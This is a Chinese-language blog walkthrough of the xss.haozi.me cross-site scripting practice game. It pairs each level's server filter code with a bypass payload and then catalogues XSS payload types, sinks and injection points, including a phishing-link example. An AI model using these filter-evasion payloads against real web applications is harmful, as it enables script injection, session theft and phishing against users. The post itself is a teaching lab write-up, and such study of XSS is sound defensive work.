题记
最近发现一个xss的攻防网站,界面很有意思,很适合寓教于乐。于是玩了一下午,特此记录下来!xss姿势众多,所以每关也只是给了一部分示例!
知识前导
XSS 或者说跨站脚本是一种 Web 应用程序的漏洞,当来自用户的不可信数据被应用程序在没有验证以及反射回浏览器而没有进行编码或转义的情况下进行了处理,导致浏览器引擎执行了代码。
如果你可以使得一个Web应用程序满足以下规则,XSS可以被减少。
验证输入并且基于语境和按照正确的顺序转义不可信数据
输入验证
所有不可信数据应该针对Web应用程序的逻辑在处理和存储前进行验证
解码和解析顺序意味着很多东西。如果对不可信数据的编码或解码以错误的顺序或错误的环境,将再次有机会导致XSS漏洞的发生。编码或者转义对不同的环境要求不同。这些编码的顺序应该取决于应用程序的逻辑。
一个典型的不可信数据可以反射在HTML,HTML属性,脚本变量,脚本块,含状态传输的参数,URL、风格等中。不同的转义方法为了确保XSS的防护必须要在不同的环境 中实现。
正文
server code:
function render (input) {
return '<div>' + input + '</div>'
}
input code:
<script>alert(1)</script>
第一关,没啥说的,没有任何过滤,直接输出到了js里面。
server code:
function render (input) {
return '<textarea>' + input + '</textarea>'
}
input code:
</textarea><script>alert(1)</script><textarea>
这一关闭合textarea标签即可
function render (input) {
return '<input type="name" value="' + input + '">'
}
"><script>alert(1)</script><a "
"><svg/onload=alert(1)></div>
此关闭合双引号及及input标签即可!
server code:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
input code:
<script>alert`1`</script>
这里过滤括号,可以使用反引号绕过,当然可以使用html实体编码绕过
<svg><script>alert(1)</script>
server code:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
input code:
<svg><script>alert(1)</script>
在上题基础上加了个``反引号过滤,html实体编码绕过
server code:
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
input code
--!>
<script>alert(1)</script>
<!--
将html的-->注释符替换成笑脸...并且输出在html注释中。使用--!>绕过并跳出注释,html注释:或者
server code:
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
input code:
onmousemove
=alert(1)
过滤以auto开头或者on开头,=等号结尾的标签属性并替换成_,且忽略大小写。这里使用换行绕过。
server code:
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
input code:
<svg/onload='alert(1)'
<img src=x onerror=alert(1)
正则匹配了<开头,>结尾的标签字符串,且忽略大小写,并将其替换成空。利用浏览器容错性,去掉>闭合绕过。
server code:
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
input code:
</style ><script>alert(1)</script>
</style
><script>alert(1)</script>
将</style>
标签替换成/* \u574F\u4EBA */,忽略大小写;在标签>闭合前加空格绕过;在标签>闭合前换行绕过;
server code:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
正则匹配以https://www.segmentfault.com开头的输入,若无匹配返回失败。输出正则匹配字符,闭合script标签,注释掉最后的">来绕过。
input code:
https://www.segmentfault.com"></script><script>alert(1)</script>//
server code:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
在上一题的基础上加了许多过滤;输入点在<script>
标签的src属性中,可以直接引入远端js文件绕过。alert(1)
的js官方提供地址:https://xss.haozi.me/j.js
。利用URL的@特性引入js,过滤后的html实体编码在html标签属性值中无影响,直接解析。
input code:
https://[email protected]/j.js
server code:
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
这一关调用函数将输入全部大写。html标签大小写无影响,可以直接引入外部js文件绕过。js严格区分大小写,但在html标签内可以使用html实体编码绕过;
input code:
1、<script src="https://xss.haozi.me/j.js"></script>
2、<img src=x onerror=alert(1)>
server code:
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
同上题的基础上过滤了script标签,忽略大小写且替换为空。由于只过滤一次,可以直接在script中插入script绕过。当然也可以采用html实体编码绕过。
input code:
<scscriptript src="https://xss.haozi.me/j.js"></scscriptript>
server code:
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
正则匹配</"'号,且替换为空,同时输入点在//注释后;由于输入点在script标签内,完全可以直接alert,使用换行绕过//注释行,弹窗后换行再行注释');由于过滤了/,即//和/**/的js注释失效,可以使用html注释-->闭合绕过;
input code:
alert(1);
-->
server code:
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
正则匹配<开头的字符串,替换为<_字母,且将输入全部大写。由于匹配了<+字母,即所有标签全部gg,并别提之后的绕过大写,这里查资料发现ſ 古英语中的s的写法(ſ不等于s)。
input code:
<ſcript src="https://xss.haozi.me/j.js"></script>
server code:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
将一些字符进行实体编码,输入点在console.error中;由于题目使用的是img标签,所有输入在标签内,而过滤的又将其转为html实体编码,所以无影响...闭合'单引号和)括号,在img中的onerror属性中alert;
input code:
');alert('1
server code:
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
这一关没什么意义,只需闭合输出;
input code:
'1';alert(1)
server code:
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
过滤一些字符;输入点在自定义参数的字符串值中,/替换为//,但"双引号过滤后的/"正好将/引入在内,过滤形同虚设...
input code:
"),alert(1)//
server code:
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
匹配"双引号,并替换为\";由于输入点在script标签外,则不能考虑html实体编码;"替换成\",在实际输出中可以在添一个\来转义掉第一个\绕过;
input code:
\");alert(1);//
总结
现在可以认识Payload的了,我不得不说这里对Payload的分类可以很好的让你认识Payload。也帮助你更好的对应到执行点。
最低层级的Payload。
javascript代码片段
可在eval
、setTimeout
、setInterval
中直接执行,也可通过HTML等构成高阶Payload
javascript:javascript伪协议
结构:javascript:+js代码。可以在a标签的href属性被点击和window.location.href
赋值的时候执行。
DATA URI协议
DATA URI结构:data:, 。DATA URI数据在包含在iframe
的src
属性和object data
属性中将会变成可执行的Payload.
字符串转义变种javascript代码片段
unicode
或者Latin-1
表示字符串。
eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u002"); //可执行的JS
纯HTMLPayload
这种Payload特点不具有可执行的JS,但是存在传播风险,可以把别的站点注入到被攻击网站。
包含链接跳转的HTML片段
主要是传播危害
<a href="http://ha.ck">哈哈,我来钓鱼了</a>
script标签片段
script
标签片段这种Payload可以引入外部JS或者可直接执行的script
。这种Payload一般不能通过直接复制给innerHTML
执行,不过在IE上可以。不过通过document.write
是可以执行。
例子:
// Payload原始值:data:text/html,<script>alert('xss');</script>
var inputStr ="<script>alert('xss');<\/script>";
document.write(inputStr);
包含事件处理的HTML片段
例如:包含img
的onerror
, svg
的onload,input
的onfocus
等的HTML片段,都可以变成可执行的Payload。
var inputStr ="<img src=x onerror=alert('xss');>";
var inputStr ="<svg/onload=alert('xss')>";
var inputStr ="<input autofocus onfocus=alert('xss')>";
xssDom.innerHTML = inputStr;
包含可执行JS属性的HTML片段
javascript伪协议
xssLink.setAttribute("href","javascript:alert('xss')")//点击可触发
var inputStr = "javascript:alert('xss')";
window.location.href = inputStr;
DATA URI
例子:
// Payload原始值:data:text/html,<script>alert('xss');</script>
//var inputStr = '<iframe src="data:text/html,<script>alert("xss");</script>"></iframe>';
// var inputStr = '<object data="data:text/html;base64,ZGF0YTp0ZXh0L2h0bWwsPHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ+"></object>';
xssDom.innerHTML = inputStr; //弹出alert("xss")
这里只是介绍了主要的Payload,还有很多不常见的Payload。
这部分我们根据漏洞攻击模型分析一下XSS的执行点和注入点。分析这两点其实就是找漏洞的过程。
页面直出Dom
客户端跳转链接:location.href / location.replace() / location.assign()
取值写入页面:innerHTML、document.write
及各种变种。这里主要会写入携带可执行Payload的HTML片段。
脚本动态执行:eval、setTimeout()、setInterval()
不安全属性设置:setAttribute
。不安全属性前面见过:a标签的href
、iframe的src
、object
的data
HTML5 postMessage
来自不安全域名的数据。
有缺陷的第三方库。
看看我们可以在哪些位置注入我们的Payload
服务端返回数据
用户输入的数据
链接参数:window.location
对象三个属性href
、search
、search
客户端存储:cookie
、localStorage
、sessionStorage
跨域调用:postMessage
数据、Referer
、window.name
上面内容基本包含了所有的执行点和注入点。对大家进行XSS漏洞攻防很有帮助。
END
这个小游戏部分题目实用性不大,但是作为寓教于乐的教材,还是不错的,页面十分有趣!最后贴出网站地址:https://xss.haozi.me/
相关练习
XSS跨站脚本攻击原理与实践:本实验将详细介绍XSS攻击的原理
长按下面二维码,或点击“阅读原文”,可预览学习(PC端操作最佳哟)
别忘了投稿哦
大家有好的技术原创文章
欢迎投稿至邮箱:[email protected]
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦
有才能的你快来投稿吧!
了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!